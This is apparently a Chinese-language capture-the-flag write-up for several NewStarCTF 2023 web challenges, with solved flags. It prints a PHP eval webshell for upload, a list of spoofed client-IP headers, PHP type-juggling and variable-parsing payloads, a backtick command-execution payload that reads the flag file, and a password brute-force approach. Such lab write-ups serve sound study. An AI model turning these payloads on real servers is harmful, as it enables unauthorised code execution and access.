泄露的秘密
提示:粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!
访问/robot.txt
,获得第一部分flag
另一部分是www.zip,下载解压得到index.php
<?php $PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}"; echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";
|
FLAG:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
Begin of Upload
绕过客户端 JavaScript检验,上传一句话木马burpsuite修改文件名后缀即可
<?php @eval($_POST['cmd']);?>
|
蚁剑连接,得到FLAG
Begin of HTTP
前面的都非常简单,类似这种,根据题目提示修改请求头参数就行
来到最后一步
第一时间想到改X-Forwarded-For为127.0.0.1,结果不行
上网查询后,发现有很多种方法可以进行请求ip伪造
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
|
一个一个试,最后使用的是 X-Real-IP:127.0.0.1
burpsuite发送payLoad
POST /?ctf=111 HTTP/1.1 Host: node4.buuoj.cn:26965 User-Agent:NewStarCTF2023 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: newstarctf.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 Origin: [http://node4.buuoj.cn:26965](http://node4.buuoj.cn:26965/) Connection: close Cookie: power=ctfer Upgrade-Insecure-Requests: 1 X-Client-IP: 127.0.0.1
secret=n3wst4rCTF2023g00000d
|
结果:
ErrorFlask
进入,看到页面
url输入
http://12292bef-a6d9-4fad-9d18-a99ee1cc7a03.node4.buuoj.cn:81/?number1=1&number2=3
|
回显
url输入以下进入报错页面
http://fd392ec2-b64c-468a-8242-d1b80e5af4d2.node4.buuoj.cn:81/?number2=a&number1=3
|
flag就在报错页面里面,ctrl+f搜flag即可
Begin of PHP
源码如下
<?php error_reporting(0); highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); } }
if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } }
if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } }
if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } }
if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }
|
根据源码分析Level1~Level5
Level1
考察PHP弱比较特性,直接传数组?key1[]=1&key2[]=2
Level2
PHP强比较,md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以直接 POST传参key3[]=1
Level3
**strcmp()**如果比较的是数组的话,直接返回一个0。所以传数组key4[]=4
Level4
这里限制key5不能传数字,但是如果key5传入字符串2024key5
的话,PHP会将字符串前面是数字的部分解析成数字
Level5
考察PHP的extract()
函数,根据正则过滤规则,只要POST传入flag5并且flag5不是数字或字母且不为空即可
extract(array,[EXTR_SKIP/EXTR_OVERWRITE]) : 第一个参数是 数组,该函数的功能是将一个数组中的键名拿出来当做 变量名,将键值拿出来当做变量的值,即 创建变量 , 第二参数, EXTR_SKIP :如果创建的变量已存在,则不进行创建,EXTR_OVERWRITE:如果创建的变量已存在,则覆盖原有变量;
根据以上分析构造payLoad得到FLAG
?key1[]=1&key2[]=2&key4[]=4&key5=2024key5
key3[]=3&flag5=!
|
R!C!E!
POST传参password
和e_v.a.l
,第一个判断条件为上传的password参数的MD5值前六位为c4d038
;第二个是PHP变量名解析特性和简单的命令执行过滤
对于password,使用简单的Python脚本可以爆破出来,是114514
import hashlib
prefix = "c4d038" prefix_bytes = prefix.encode()
for i in range(100000000): b = i.to_bytes(22, 'big') m = hashlib.md5(str(i).encode()).hexdigest() if m.startswith(prefix): print(i) print(m) break
|
使用var_dump
和反引号
(内联执行)还有more
绕过
password=114514&e[v.a.l=var_dump(`more /f*`);
|
EasyLogin
注册了一个账户user1,密码666666。登录时抓包查看,中间跳转到一个PHP页面,有提示
<!-- 恭喜你找到flag --> <!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 --> <!-- https: <!-- 庆祝一下吧! -->
|
里面真的有FLAG(Never Gonna Give You Up~~~
使用注册的账号登录进去,是一个chat页面,Ctrl+C然后Ctrl+D退出到命令界面,查看目录,发现有admin
目录,但是里面没有东西,猜测可能存在admin管理员用户
输入exit
退出到登录页面,根据题目EasyLogin
猜测可能密码是弱口令,于是用bp爆破密码,注意有效载荷处理使用MD5
编码
有一个请求的响应长度不同
使用admin账号时抓包,将pw替换成刚刚破解出的MD5值
POST /signin.php HTTP/1.1 Host: node4.buuoj.cn:27830 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 50 Origin: http://node4.buuoj.cn:27830 Connection: close Referer: www.google.com Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0
un=admin&pw=670b14728ad9902aecba32e22fa4f6bd&rem=0
|
登录进去后以为找到FLAG,但是依然找不到
想到刚开始登录时会跳转到一个PHP界面,于是重发那个PHP页面,果然响应中有FLAG